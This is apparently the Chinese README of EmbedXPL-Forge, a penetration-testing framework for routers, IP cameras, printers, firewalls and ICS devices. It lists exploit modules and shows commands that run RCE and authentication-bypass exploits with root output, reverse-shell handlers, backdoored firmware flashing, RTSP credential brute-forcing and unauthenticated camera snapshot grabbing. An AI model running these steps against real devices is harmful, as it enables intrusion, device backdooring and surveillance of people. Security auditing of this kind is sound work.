mrhenrike/EmbedXPL-Forge

# EmbedXPL-Forge **嵌入式与边界安全评估框架** EmbedXPL-Forge 是一个开源的漏洞利用与扫描框架，专为安全专业人员审计路由器、交换机、IP 摄像头、NVR/DVR、GPON ONT、ISP CPE、打印机、IoT、OT/ICS 以及嵌入式边缘设备而设计。它提供 **2800+ 个活动模块**，涵盖凭据测试、漏洞利用、网络扫描、payload 生成、RTSP 摄像头攻击、固件篡改、多语言 PolyExploit 编排以及完整的打印机武器库——映射了跨越 **114+ 个供应商**的 **700+ 个 CVE**，并提供了一个 **APT 组织攻击引擎**，用于重现现实世界中的国家级攻击链。 ## 功能 - **625+ 个漏洞利用模块** — RCE、身份验证绕过、路径遍历、信息泄露、缓冲区溢出、DNS 劫持、命令注入、后门、CSRF、配置解密、WPA/WPS 密钥生成器、出厂密码生成器、堆/栈 BOF 链 - **88 个凭据模块** — 针对 FTP、SSH、Telnet、HTTP、SNMP、SFTP 的字典攻击 - **185+ 个打印机漏洞利用模块** — HP、Canon、Lexmark、Xerox、Ricoh、Brother、Epson、Kyocera、Samsung；PJL/IPP/LPD/WSD/CUPS；Pwn2Own 2026 链；PrintingShellz；MS-RPRN NTLM 强制认证 - **完整的 RTSP 摄像头引擎** — 移植自 [cameradar](https://github.com/ullaakut/cameradar)：路由暴力破解（195+ 个路由）、凭据暴力破解（80+ 个组合）、Basic/Digest 认证、RTSPS/TLS、**RTSP-over-HTTP 隧道（纯 Python 实现，RFC 2326 App-C）**、nmap/masscan/直接扫描器、ONVIF WS-Discovery、M3U 输出 - **7 个自定义 Nmap NSE 脚本** — RTSP 发现、摄像头指纹识别、Hikvision/Dahua CVE 验证、默认凭据测试、多供应商 CVE 检查、快照抓取（`pip install embedxpl[nse]`） - **固件漏洞利用套件** — 格式检测、后门注入、校验和修补、供应商刷机绕过（NETGEAR、TP-Link、D-Link、ASUS） - **PolyExploit 编排器** — 运行时 C/C++ 编译（gcc/clang/mingw/cross），执行 Ruby/Node.js/PHP/Bash/Perl 漏洞利用，msfconsole 集成，ExploitDB/searchsploit 集成 - **ICS/OT 模块** — Universal Robots PolyScope 5、RIOT OS、Modbus、S7comm、EtherNet/IP、BACnet、DNP3 - **智能家居 / 海事 / 专业设备** — eNet SMART HOME、OpenRemote、Metis 海事 IoT (WIC/DFS) - **5+ 个扫描器模块** — AutoPwn、特定设备扫描器、WSD/mDNS 打印机发现 - **32 个 payload 模块** — 针对 x86、x64、ARM、MIPS、Python、Perl、PHP 的反向/正向 TCP shell - **13 个编码器模块** — 针对 Python、PHP、Perl 的 Base64 和十六进制编码 - **14 个通用模块** — Heartbleed、ShellShock、UPnP IGD、SNMP 暴力破解、TCP Xmas、UDP 放大攻击、CVE 查找、DNS 劫持检测器、AITM 拦截器 - **映射了 700+ 个 CVE** — 从 2001 年到 2026 年，包括 2026 年 Pwn2Own 攻击链和关键的 IoT/OT/海事 CVE - **APT 组织攻击引擎** — 浏览并重现来自 APT28、Volt Typhoon、Sandworm、Quad7、Turla、APT40 的攻击链，并提供 MITRE ATT&CK 映射 - **23+ 个特定供应商字典** — 每个供应商的外部化默认凭据（包括巴西 ISP 专用） - **网络发现** — SSDP、ARP、Nmap、Masscan、Scapy 回退、OUI 查找（IEEE 39k+ 条记录）、T0–T5 时间配置 - **会话管理** — 每台主机（IP+MAC）的持久化扫描历史、恢复/重启、完整发现索引 - **链式 autopwn 模块** — 多阶段特定供应商漏洞利用链（Huawei EG8145X6、CUPS Pwn2Own、Lexmark Pwn2Own 等） - **7 个自动化质量门控** — `tools/phase_gate.py` 确保每个模块在合并前通过导入、反 FP（误报）、参考和代码质量检查 ## 支持的设备类型 | 类型 | 覆盖范围 | 描述 | |------|----------|-------------| | **路由器 / GPON ONT / CPE** | 580+ 个模块 | SOHO 路由器、企业网关、GPON CPE/ONT（主要焦点） | | **IP 摄像头 / NVR / DVR** | 60+ 个模块 | Hikvision、Dahua、Axis、Reolink、Amcrest、Uniview、Tapo、Swann、ANNKE、Edimax、Intelbras、Grandstream、Foscam、Xiongmai OEM、MVPower 以及 20+ 个其他品牌 | | **打印机 / MFP** | 185+ 个模块 | HP、Canon、Lexmark、Xerox、Ricoh、Brother、Epson、Kyocera、Samsung；IPP/PJL/LPD/WSD/CUPS 链 | | **NAS (网络存储)** | 20+ 个模块 | QNAP、Synology、D-Link NAS、Zyxel NAS | | **VPN / 防火墙设备** | 80+ 个模块 | Ivanti、Fortinet、SonicWall、Palo Alto、Cisco ASA、CheckPoint、Sophos、WatchGuard、Zyxel | | **L2/L3 交换机** | 3 个模块 | 管理型交换机（Cisco、D-Link、NETGEAR） | | **SOHO 边缘设备** | 9 个模块 | 旅行路由器、NAS、无线 AP | | **ICS / OT / 工业设备** | 35+ 个模块 | PLC、SCADA、Modbus、S7comm、EtherNet/IP、Universal Robots PolyScope 5 | | **智能家居 / 海事设备** | 10+ 个模块 | eNet SMART HOME、OpenRemote IoT、Metis 海事 WIC/DFS | | **嵌入式 OS** | 25+ 个模块 | RIOT OS、OpenWrt、VxWorks、QNX、wolfSSL 设备、Tuya Arduino SDK | ## 支持的供应商 **网络 / 路由器 / CPE:** 2Wire · 3Com · ActionTec · Alcatel-Lucent · Alpha Networks · Arris · Aruba · Asmax · Astoria · ASUS · Belkin · BHU · Billion · Binatone · Calix · CERIO · Cisco · Cobham · Comtrend · D-Link · DD-WRT · Draytek · EasyBox (Arcadyan) · Edimax · EE BrightBox · EnGenius · FiberHome · Fortinet · Freebox · GL.iNet · GPON · HooToo · Huawei · Intelbras · IPFire · Juniper · LG · Linksys · Mercury · MiFi (Novatel) · MikroTik · MitraStar · Motorola · Movistar · Netcore · NETGEAR · Netsys · Observa Telecom · OpenWrt · RuggedCom · Ruijie · Seagate · SerComm · Shuttle · Sitecom · SMC · SonicWall · Starbridge · Technicolor · Tenda · Thomson · TOTOLINK · TP-Link · TRENDnet · Ubee · Ubiquiti · Unicorn · UTStarcom · Wavlink · Xiaomi · Zhone · Zoom · ZTE · ZyXEL **摄像头 / NVR / DVR:** Hikvision · Dahua · Axis · Reolink · Amcrest · Uniview (UNV) · Tapo (TP-Link) · Swann · ANNKE · Edimax · Intelbras · Grandstream · Foscam · Acti · Avigilon · Beward · Brickcom · Cisco 摄像头 · Geuterbruck · Honeywell 摄像头 · Jovision · Siemens 摄像头 · Xiongmai (OEM) · Zivif · MVPower DVR · 通用 P2P WiFi 摄像头 · 通用 DVR/NVR OEM **打印机 / MFP:** HP LaserJet/PageWide · Canon imageRUNNER/imageClass · Lexmark CX/CS/MS/MX · Xerox WorkCentre/AltaLink/VersaLink · Ricoh MP/Aficio/SP · Brother MFC/DCP · Epson WorkForce · Kyocera ECOSYS · Samsung SyncThru · 通用 IPP/PJL/LPD/CUPS/WSD **NAS / VPN / 防火墙 / 安全设备:** QNAP · Synology · D-Link NAS · Zyxel NAS · Ivanti · SonicWall · Fortinet (FortiOS/FortiGate/FortiWeb/FortiClient EMS) · Palo Alto (PAN-OS) · Cisco ASA/FTD · CheckPoint · Sophos XG · WatchGuard Firebox · Avocent **ICS / OT / 机器人:** Universal Robots (UR3/UR5/UR10/UR16) · OpenPLC · Modbus TCP · Siemens S7 · EtherNet/IP CIP · BACnet · DNP3 · PROFINET DCP **智能家居 / 海事 / 嵌入式 OS:** eNet SMART HOME · OpenRemote IoT · Metis WIC/DFS (海事) · RIOT OS · OpenWrt · VxWorks · QNX · Zephyr · wolfSSL · Tuya arduino-tuyaopen ## 安装 ### 选项 1 — PyPI（推荐） ``` pip install embedxpl embedxpl ``` ### 选项 2 — 包含 Nmap NSE 脚本 ``` # 安装 EmbedXPL + NSE 依赖 pip install "embedxpl[nse]" # 将 7 个自定义 NSE 脚本安装到 Nmap 的脚本目录 python -m embedxpl.nse install # 或使用入口点： embedxpl-nse install # 验证安装 python -m embedxpl.nse list ``` ### 选项 3 — 从源码安装 ``` git clone https://github.com/mrhenrike/EmbedXPL-Forge.git cd EmbedXPL-Forge pip install -r requirements.txt # 可选：同时安装 NSE 脚本 pip install -e ".[nse]" python -m embedxpl.nse install python exf.py ``` ### 选项 4 — Python 模块 ``` pip install embedxpl python -m embedxpl ``` ## 快速入门 ``` # 安装 pip install embedxpl # 启动交互式 shell embedxpl # 直接运行特定模块 embedxpl -m exploits/routers/tplink/wr841n_credential_disclosure_cve_2023_50224 -s target 192.168.1.1 # 网络发现 embedxpl -c "discover 192.168.1.0/24" # RTSP 摄像头扫描 + 暴力破解 embedxpl -m exploits/cameras/multi/rtsp_cameradar_attack -s target 192.168.1.100 # Nmap NSE 快速扫描（在 pip install embedxpl[nse] + embedxpl-nse install 之后） nmap -p 554,5554,8554 --script embedxpl-rtsp-discover 192.168.1.0/24 nmap -p 80,443 --script 'embedxpl-*' 192.168.1.100 ``` ## 使用 ### 交互式 Shell ``` exf > use exploits/routers/dlink/dir_300_600_rce exf (D-Link DIR-300 & DIR-600 RCE) > show options exf (D-Link DIR-300 & DIR-600 RCE) > set target 192.168.1.1 exf (D-Link DIR-300 & DIR-600 RCE) > check exf (D-Link DIR-300 & DIR-600 RCE) > run ``` ### 常用命令 | 命令 | 描述 | |---------|-------------| | `use ` | 选择一个模块 | | `show options` | 显示可配置选项 | | `show info` | 显示模块元数据和参考信息 | | `show devices` | 列出支持的设备类型 | | `set ` | 配置一个选项 | | `check` | 检查目标是否存在漏洞 | | `run` | 执行该模块 | | `search ` | 按关键字搜索模块 | | `discover [subnet] [--timing T0-T5] [--fresh]` | 扫描子网，识别目标指纹，推荐模块 | | `sessions list\|show\|delete\|export\|purge` | 管理每台主机的持久化扫描历史 | | `apt` | 列出具有可重现攻击链的 APT 组织 | | `apt show ` | 查看攻击链详情（MITRE ATT&CK、CVE、模块） | | `apt search ` | 查找针对特定设备或 CVE 的 APT 组织 | | `apt run [#]` | 执行 APT 攻击链（全部或特定攻击） | ### APT 组织攻击引擎 ``` # 列出所有已编目的威胁行为者 exf > apt list # 显示 APT28 攻击链详情 exf > apt show apt28 # 搜索针对 MikroTik 的组织 exf > apt search mikrotik # 执行完整的 APT28 DNS 劫持链（交互式） exf > apt run apt28 # 仅执行凭证泄露攻击（#0） exf > apt run apt28 0 ``` ### 网络发现 ``` # 从活动接口自动检测子网并扫描（默认时序 T3） exf > discover # 使用隐蔽时序扫描特定子网 exf > discover 192.168.1.0/24 --timing T1 # 强制全新扫描，忽略先前的会话历史 exf > discover 192.168.1.0/24 --fresh ``` 发现功能使用多阶段流水线：ARP 扫描 → Nmap（多方法主机探测）→ Scapy → TCP connect 回退。结果将与模块目录进行匹配，并按供应商/型号进行过滤。IEEE OUI 数据库（`embedxpl/data/oui.txt`）通过优先在线查找并带有本地回退的方式，将 MAC 地址解析为供应商。当主机暴露 WiFi 功能时，该工具会推荐使用 [WirelessXPL-Forge](https://github.com/mrhenrike/WirelessXPL-Forge) 进行针对无线网络的攻击。 **时间配置（T0–T5）** 遵循 Nmap 惯例： | 配置 | 延迟 | 用例 | |---------|-------|----------| | T0 | paranoid — 300s | IDS 规避 | | T1 | sneaky — 15s | 静默审计 | | T2 | polite — 2s | 最小影响 | | T3 | normal — 0.5s | 默认 | | T4 | aggressive — 0.1s | 快速局域网扫描 | | T5 | insane — 0s | 仅限 CTF / 实验室环境 | ### 会话管理 ``` # 列出所有具有扫描历史的主机 exf > sessions list # 单台主机的完整历史：已测试模块、发现结果、时间戳 exf > sessions show 192.168.1.1 # 将会话导出为 JSON exf > sessions export 192.168.1.1 # 删除一个会话 exf > sessions delete 192.168.1.1 # 清除所有会话 exf > sessions purge ``` 话以 JSON 格式存储在 `~/.exf_sessions/` 中，以 IP+MAC 的 SHA-256 值作为键。在重新发现已知主机时，已测试的模块将显示为 `[Tested]` 并默认跳过。 ### AutoPwn 扫描器 ``` exf > use scanners/autopwn exf (AutoPwn) > set target 192.168.1.0/24 exf (AutoPwn) > run ``` ## RTSP 摄像头引擎 全功能 RTSP 攻击流水线 — 移植自 [cameradar](https://github.com/ullaakut/cameradar) 并使用 Python 原生功能进行了扩展。 ### 传输模式 | 模式 | 端口 | 类 / 方法 | |------|------|---------------| | `rtsp` | 554 | `RTSPClient(host, port)` | | `rtsps` | 443/8443 | `RTSPClient(host, port, use_tls=True)` | | `http` | 80/8080 | `RTSPClient(host, port, tunnel_http=True)` | | `https` | 443/8443 | `RTSPClient(host, port, use_tls=True, tunnel_http=True)` | | auto | any | `RTSPClient.from_scheme(host, port, "http")` | ### 攻击流水线 ``` from embedxpl.core.rtsp.scanner import RTSPScanner from embedxpl.core.rtsp.attacker import RTSPAttacker from embedxpl.core.rtsp.models import RTSPStream # 1. 发现网络上支持 RTSP 的主机 scanner = RTSPScanner(timeout=5.0) hosts = scanner.scan_network("192.168.1.0/24", ports=[554, 5554, 8554]) # 返回：[('192.168.1.100', 554), ('192.168.1.101', 8554), ...] # 2. 运行完整的 5 阶段攻击流水线 attacker = RTSPAttacker(timeout=5.0) results = attacker.attack_all(hosts) # 3. 检查结果 for stream in results: print(stream.url) # rtsp://admin:@192.168.1.100:554/h264/ch1/main/av_stream print(stream.username) # admin print(stream.password) # (empty string) print(stream.route) # h264/ch1/main/av_stream print(stream.auth_type) # AuthType.BASIC print(stream.accessible) # True ``` **预期输出：** ``` [RTSP] Scanning 192.168.1.0/24 on ports [554, 5554, 8554]... [RTSP] Found 3 RTSP hosts [RTSP] 192.168.1.100:554 — Phase 1: Route discovery (195 routes)... [RTSP] 192.168.1.100:554 — Route found: h264/ch1/main/av_stream [RTSP] 192.168.1.100:554 — Phase 2: Auth detection → Basic (realm="IP Camera") [RTSP] 192.168.1.100:554 — Phase 3: Credential brute-force (80 pairs)... [RTSP] 192.168.1.100:554 — ✓ Credentials: admin: [RTSP] 192.168.1.100:554 — Phase 4: Stream validated (200 OK) [RTSP] Attack complete. Accessible streams: 2/3 ``` ### 跳过扫描模式（已知主机） ``` # 跳过网络扫描，直接攻击已知主机 hosts = scanner.skip_scan(["192.168.1.100:554", "192.168.1.101"]) # 接受："host:port"、"host"、CIDR "192.168.1-2.0-255"、主机名 ``` **预期输入/输出：** ``` # 输入 hosts = scanner.skip_scan(["camera.local:554", "192.168.1-2.100-110"]) # 输出：[(已解析的IP, 端口), ...] # [('192.168.1.100', 554), ('192.168.1.200', 554), ('192.168.1.100', 554), ...] ``` ### RTSP-over-HTTP 隧道 在摄像头位于阻止 TCP/554 端口的 HTTP 代理或企业防火墙之后时使用。 ``` from embedxpl.core.rtsp.client import RTSPClient, RTSPOverHTTPTunnel # 直接隧道使用 tunnel = RTSPOverHTTPTunnel(host="10.0.0.50", port=8080, timeout=10.0) response = tunnel.send_rtsp_via_http( "OPTIONS rtsp://10.0.0.50:8080/ RTSP/1.0\r\nCSeq: 1\r\n\r\n" ) # 返回：原始 RTSP 响应字节（从 HTTP body 进行 base64 解码） # 或通过 RTSPClient 工厂 client = RTSPClient.from_scheme("10.0.0.50", 8080, "http", timeout=10.0) status, server, methods = client.options() # → (200, "Hikvision NVRA", "OPTIONS, DESCRIBE, SETUP, PLAY") ``` **预期输入/输出：** ``` Input : host=10.0.0.50, port=8080, scheme="http" Output: status = 200 server = "Hikvision IP Camera NVRA (V5.4.5)" methods = "OPTIONS, DESCRIBE, SETUP, PLAY, TEARDOWN" ``` ### RTSP 模块（交互式） ``` embedxpl > use exploits/cameras/multi/rtsp_cameradar_attack embedxpl (RTSP Cameradar Attack) > show options Option Default Description ------ ------- ----------- target required Target IP/CIDR/range (e.g. 192.168.1.0/24) ports 554,5554,8554 RTSP ports to scan timeout 5 Connection timeout (seconds) scheme rtsp Transport: rtsp | rtsps | http | https skip_scan false Skip nmap discovery, attack directly output_m3u false Save accessible streams to streams.m3u onvif_discover false Enable ONVIF WS-Discovery embedxpl (RTSP Cameradar Attack) > set target 192.168.1.0/24 embedxpl (RTSP Cameradar Attack) > set output_m3u true embedxpl (RTSP Cameradar Attack) > run ``` ## Nmap NSE 脚本 EmbedXPL-Forge 包含 7 个自定义 Nmap NSE 脚本，用于 IoT/摄像头扫描和 CVE 检测。 ### 安装 ``` # 使用 NSE 扩展进行安装 pip install "embedxpl[nse]" # 将脚本安装到 Nmap（Linux/macOS 可能需要 sudo） python -m embedxpl.nse install # 或 embedxpl-nse install # 强制覆盖现有脚本 python -m embedxpl.nse install --force # 自定义 Nmap 目录 python -m embedxpl.nse install --nse-dir /opt/homebrew/share/nmap/scripts ``` **预期输出：** ``` [OK] embedxpl-rtsp-discover.nse → /usr/share/nmap/scripts/embedxpl-rtsp-discover.nse [OK] embedxpl-camera-identify.nse → /usr/share/nmap/scripts/embedxpl-camera-identify.nse [OK] embedxpl-hikvision-vuln.nse → /usr/share/nmap/scripts/embedxpl-hikvision-vuln.nse [OK] embedxpl-dahua-vuln.nse → /usr/share/nmap/scripts/embedxpl-dahua-vuln.nse [OK] embedxpl-rtsp-creds.nse → /usr/share/nmap/scripts/embedxpl-rtsp-creds.nse [OK] embedxpl-iot-cve-check.nse → /usr/share/nmap/scripts/embedxpl-iot-cve-check.nse [OK] embedxpl-camera-snapshot.nse → /usr/share/nmap/scripts/embedxpl-camera-snapshot.nse Installed: 7 script(s) [OK] nmap --script-updatedb complete ``` ### 列表 / 信息 ``` python -m embedxpl.nse list python -m embedxpl.nse info rtsp-discover ``` ### NSE 脚本参考 #### `embedxpl-rtsp-discover` — RTSP 服务发现 检测 RTSP 服务，抓取 `Server:` 标志，识别供应商，列出支持的方法，并交叉引用已知 CVE。 ``` # 基本用法 nmap -p 554,5554,8554 --script embedxpl-rtsp-discover 192.168.1.0/24 # 使用自定义超时 nmap -p 554,5554,8554 --script embedxpl-rtsp-discover --script-args rtsp.timeout=3 192.168.1.0/24 ``` **预期输出：** ``` 554/tcp open rtsp | embedxpl-rtsp-discover: | Status : 200 | Server : Hikvision IP Camera NVRA (V5.4.5) | Methods: OPTIONS, DESCRIBE, SETUP, PLAY, TEARDOWN | Vendor : Hikvision | Known CVEs: CVE-2021-36260 (RCE, CVSS 9.8), CVE-2017-7921 (Auth Bypass) | EmbedXPL module: exploits/cameras/hikvision/rtsp_rce_cve_2021_36260 | Exploit hint: embedxpl > use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260 |_ Full attack: embedxpl > use exploits/cameras/multi/rtsp_cameradar_attack ``` #### `embedxpl-camera-identify` — 深度摄像头指纹识别 多协议识别：探测 HTTP/HTTPS Web UI、RTSP 标志和 ONVIF。提取供应商、型号、固件、序列号和 MAC 地址。 ``` nmap -p 80,443,554,37777 --script embedxpl-camera-identify 192.168.1.100 nmap -sV -p- --script embedxpl-camera-identify 192.168.1.0/24 ``` **预期输出（Hikvision）：** ``` 80/tcp open http | embedxpl-camera-identify: | Protocol : HTTP (HTTP 200) | Vendor : Hikvision | Model : DS-2CD2143G0-I | Firmware : V5.6.2 build 190401 | Serial : DS-2CD2143G0-I20190401AAWRA123456789 | CVEs : CVE-2021-36260 (RCE, CVSS 9.8) | CVE-2017-7921 (Auth Bypass) | Vuln assessment: LIKELY VULNERABLE (endpoint accessible without auth) | EmbedXPL module: exploits/cameras/hikvision/rtsp_rce_cve_2021_36260 |_ Run exploit: embedxpl > use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260 ``` #### `embedxpl-hikvision-vuln` — Hikvision CVE 检查器 主动验证 CVE-2021-36260（通过 `/SDK/webLanguage 实现 RCE，CVSS 9.8）和 CVE-2017-7921（身份验证绕过快照）。 ``` nmap -p 80,443,8080 --script embedxpl-hikvision-vuln 192.168.1.100 nmap -p 80,443,8080 --script embedxpl-hikvision-vuln --script-args timeout=10 192.168.1.0/24 ``` **预期输出：** ``` 80/tcp open http | embedxpl-hikvision-vuln: | Device : DS-2CD2143G0-I | Firmware : V5.3.0 build 170112 | CVE-2021-36260 : VULNERABLE — endpoint accepts PUT without authentication (CVE-2021-36260, CVSS 9.8) | CVE-2017-7921 : VULNERABLE — snapshot captured without valid credentials (CVE-2017-7921) | EmbedXPL RCE module : exploits/cameras/hikvision/rtsp_rce_cve_2021_36260 | EmbedXPL Auth Bypass : exploits/cameras/hikvision/info_disclosure_cve_2017_7921 |_ Run full exploit: embedxpl > use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260 ``` #### `embedxpl-dahua-vuln` — Dahua CVE 检查器 测试 CVE-2021-33044（身份验证绕过，CVSS 9.8）、CVE-2020-25078（用户信息泄露）、CVE-2013-6117（传统 DVR）。还涵盖 Dahua 的 OEM 厂商：Amcrest、Intelbras、TVT、Jovision、ANNKE。 ``` nmap -p 80,37777 --script embedxpl-dahua-vuln 192.168.1.0/24 ``` **预期输出：** ``` 80/tcp open http | embedxpl-dahua-vuln: | Vendor : Dahua (or Dahua-OEM: Amcrest / Intelbras / TVT) | CVE-2021-33044 : VULNERABLE — snapshot captured via Digest bypass (CVE-2021-33044, CVSS 9.8) | CVE-2020-25078 : VULNERABLE — Users disclosed: [admin, operator] | CVE-2013-6117 : NOT VULNERABLE | EmbedXPL Auth Bypass : exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044 | EmbedXPL Cred Extract : exploits/cameras/dahua/cctv_37777_credential_extraction |_ Run exploit: embedxpl > use exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044 ``` #### `embedxpl-rtsp-creds` — RTSP 默认凭据测试器 使用 Basic 认证在 9+ 个常见 RTSP 路径上测试 18 对默认凭据。报告第一个匹配项。 ``` nmap -p 554,5554,8554 --script embedxpl-rtsp-creds 192.168.1.100 # 使用自定义路由提示 nmap -p 554 --script embedxpl-rtsp-creds --script-args rtsp.route=live.sdp 192.168.1.100 ``` **预期输出：** ``` 554/tcp open rtsp | embedxpl-rtsp-creds: | Server : Hikvision IP Camera NVRA | Credential found : admin: (empty password) | Stream URL : rtsp://admin:@192.168.1.100:554/h264/ch1/main/av_stream | Auth type : Basic | Response code : 200 | EmbedXPL full scan : exploits/cameras/multi/rtsp_cameradar_attack |_ Run exploit: embedxpl > use exploits/cameras/multi/rtsp_cameradar_attack ``` #### `embedxpl-iot-cve-check` — 多供应商 CVE 指纹识别 检测并验证跨越 Hikvision、Dahua、D-Link NAS、Reolink、Uniview、QNAP、SonicWall 和 GPON 的 10 个活跃 CVE。 ``` nmap -p 80,443,8080 --script embedxpl-iot-cve-check 192.168.1.0/24 ``` **预期输出：** ``` 80/tcp open http | embedxpl-iot-cve-check: | CVE-2021-36260 (Hikvision, CVSS 9.8): POSSIBLY VULNERABLE — HTTP 200 returned | → EmbedXPL: CVE-2021-36260 : use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260 | CVE-2021-33044 (Dahua, CVSS 9.8) : NOT VULNERABLE — HTTP 404 | EmbedXPL-Forge: https://github.com/mrhenrike/EmbedXPL-Forge |_ Full exploitation: pip install embedxpl && embedxpl ``` #### `embedxpl-camera-snapshot` — 未授权快照访问 探测 16 个特定供应商的快照端点。报告任何无需凭据即返回 `image/*` 的 URL。可选择将 JPEG 文件保存在本地。 ``` nmap -p 80,443,8080 --script embedxpl-camera-snapshot 192.168.1.100 # 将快照保存到磁盘 nmap -p 80 --script embedxpl-camera-snapshot --script-args outdir=/tmp/snaps 192.168.1.0/24 ``` **预期输出：** ``` 80/tcp open http | embedxpl-camera-snapshot: | Endpoint 1 (Dahua): | URL : http://192.168.1.100:80/cgi-bin/snapshot.cgi?channel=1 | Content-Type : image/jpeg | Size : 45231 bytes | Access : UNAUTHENTICATED SNAPSHOT ACCESS | EmbedXPL module: exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044 |_ Run exploit: embedxpl > use exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044 ``` ### 通过 Python 运行所有 NSE 脚本 ``` # 通过 embedxpl-nse CLI 运行所有脚本 python -m embedxpl.nse run --target 192.168.1.0/24 --scripts all # 运行特定脚本 python -m embedxpl.nse run --target 192.168.1.100 --scripts rtsp-discover,hikvision-vuln # 带输出文件 python -m embedxpl.nse run --target 192.168.1.0/24 --scripts all --output /tmp/scan.txt # 自定义端口 python -m embedxpl.nse run --target 192.168.1.0/24 --scripts all --ports 80,443,554,5554,8080,8554 ``` **卸载：** ``` python -m embedxpl.nse uninstall ``` ## 固件漏洞利用 ``` embedxpl > use exploits/firmware/netgear_firmware_flash embedxpl (NETGEAR Firmware Flash) > set target 192.168.1.1 embedxpl (NETGEAR Firmware Flash) > set firmware /path/to/backdoored.bin embedxpl (NETGEAR Firmware Flash) > set lhost 10.0.0.10 embedxpl (NETGEAR Firmware Flash) > set lport 4444 embedxpl (NETGEAR Firmware Flash) > run ``` **功能描述：** 1. 检测固件格式（TRX、DLOB、SEAMA、WRGG、raw binary） 2. 在合适的偏移量注入反向 shell 后门 3. 重新计算 CRC32/MD5 校验和 4. 通过特定供应商的刷机端点上传（在适用情况下绕过身份验证） 5. 等待设备重启并验证后门执行情况 ## PolyExploit 编排器 为无法移植为纯 Python 的漏洞利用程序启用运行时 C/C++ 编译和多语言脚本执行。 ### C/C++ 运行时编译 ``` from embedxpl.core.poly import CCompiler compiler = CCompiler() # 检查可用的编译器 print(compiler.compiler_available()) # {'gcc': True, 'clang': False, 'mingw': False} # 在运行时编译 C PoC 漏洞利用程序 binary = compiler.compile_c( source=""" #include #include int main(int argc, char *argv[]) { // Stack overflow PoC char buf[64]; memcpy(buf, argv[1], atoi(argv[2])); return 0; } """, arch="x86", # x86, x64, arm, mips, mingw ) # 返回：编译后二进制文件的路径（按源哈希缓存） # 带参数执行 output = compiler.run_binary(binary, args=["AAAA"*100, "400"]) print(output.stdout) ``` ### 多语言脚本执行 ``` from embedxpl.core.poly import PolyRunner runner = PolyRunner() print(runner.available_runtimes()) # {'ruby': True, 'node': True, 'php': True, 'bash': True, 'perl': True} # 执行 Ruby 漏洞利用程序 result = runner.run_ruby(""" require 'net/http' resp = Net::HTTP.get_response(URI('http://192.168.1.1/cgi-bin/exploit')) puts resp.body """, args=["192.168.1.1"]) # Metasploit 集成 runner.run_metasploit(module="exploit/multi/handler", options={ "PAYLOAD": "cmd/unix/reverse_bash", "LHOST": "10.0.0.10", "LPORT": "4444", }) # ExploitDB / searchsploit 查询 results = runner.searchsploit("hikvision rtsp") for r in results: print(r["Title"], r["Path"]) ``` ## v3.1.0 新特性 — 2026/2025/2024 CVE + 打印机领域 + 质量门控 涵盖打印机、嵌入式 OS、ICS/OT、智能家居、海事 IoT 以及 2026 年 Pwn2Own 攻击链的 **54 个新模块**。主要亮点： ### 2026 Pwn2Own 攻击链 ``` # CUPS Pwn2Own 2026 — 完整的 4 阶段链（CVE-2026-34477/78/79/80，CVSS 9.9） exf > use exploits/printers/linux/cups_pwn2own_chain_cve_2026_34480 exf (CUPS Pwn2Own Chain) > set target 192.168.1.10 exf (CUPS Pwn2Own Chain) > set delay 2 exf (CUPS Pwn2Own Chain) > run [*] [Stage 1/4] Triggering UAF in cups-browsed (CVE-2026-34477) [*] [Stage 2/4] Heap spray via IPP job attributes (CVE-2026-34478) [*] [Stage 3/4] ROP chain LPE delivery (CVE-2026-34479) [*] [Stage 4/4] Chain complete - verifying [+] CUPS process no longer responding - chain executed # Lexmark Pwn2Own 2026 — 3 阶段链 exf > use exploits/printers/lexmark/lexmark_pwn2own_2026_chain exf (Lexmark Pwn2Own) > set target 192.168.1.20 exf (Lexmark Pwn2Own) > run ``` ### 2026 严重 CVE ``` # wolfSSL 身份伪造（CVE-2026-5194，CVSS 9.3，约 50 亿台设备） exf > use exploits/embedded_os/wolfssl_identity_forgery_cve_2026_5194 exf (wolfSSL Identity Forgery) > set target 192.168.1.1 exf (wolfSSL Identity Forgery) > set port 443 exf (wolfSSL Identity Forgery) > run # PAN-OS User-ID BOF（CVE-2026-0300，CVSS 9.8，正在被积极利用） exf > use exploits/firewalls/paloalto/panos_userid_bof_rce_cve_2026_0300 exf (PAN-OS User-ID BOF) > set target 10.0.0.1 exf (PAN-OS User-ID BOF) > set port 443 exf (PAN-OS User-ID BOF) > run # Universal Robots PolyScope 5（CVE-2026-8153，CVSS 9.8，未授权操作系统命令注入） exf > use exploits/ics/ur_polyscope5_dashboard_cmd_injection_cve_2026_8153 exf (UR PolyScope5 Injection) > set target 192.168.1.50 exf (UR PolyScope5 Injection) > set cmd "id" exf (UR PolyScope5 Injection) > run [*] Connecting to PolyScope Dashboard on 192.168.1.50:29999 [+] PolyScope Dashboard Server detected [*] Attempting OS command injection (CVE-2026-8153) [+] Command injection confirmed! [+] Output: uid=0(root) gid=0(root) # GNU InetUtils telnetd 身份验证绕过（CVE-2026-24061，CVSS 9.8，未授权 root） exf > use exploits/embedded_os/gnu_inetutils_telnetd_auth_bypass_cve_2026_24061 exf (InetUtils telnetd Bypass) > set target 192.168.1.1 exf (InetUtils telnetd Bypass) > set cmd "id" exf (InetUtils telnetd Bypass) > run [*] Sending CVE-2026-24061 bypass payload [+] Authentication bypass succeeded! Shell prompt detected [+] Command output: uid=0(root) # Metis maritime IoT（CVE-2026-2248，CVSS 9.8，未授权 root shell） exf > use exploits/specialized/metis_wic_unauth_rce_cve_2026_2248 exf (Metis WIC RCE) > set target 10.1.2.3 exf (Metis WIC RCE) > run # Cisco IOS XE WLC 硬编码 JWT（CVE-2025-20188，CVSS 10.0） exf > use exploits/routers/cisco/ios_xe_wlc_jwt_rce_cve_2025_20188 exf (Cisco WLC JWT RCE) > set target 10.0.0.1 exf (Cisco WLC JWT RCE) > set port 443 exf (Cisco WLC JWT RCE) > run ``` ### 打印机武器库示例 ``` # HP PJL 完整扫描（原生 — 无需外部工具） exf > use exploits/printers/hp/hp_laserjet_pjl_scan_native exf (HP PJL Scanner) > set target 192.168.1.100 exf (HP PJL Scanner) > run [+] PJL interface reachable [+] INFO ID: HP LASERJET PRO M402N INFO STATUS : READY INFO PAGECOUNT : 12847 INFO MEMORY : 512000 BYTES # 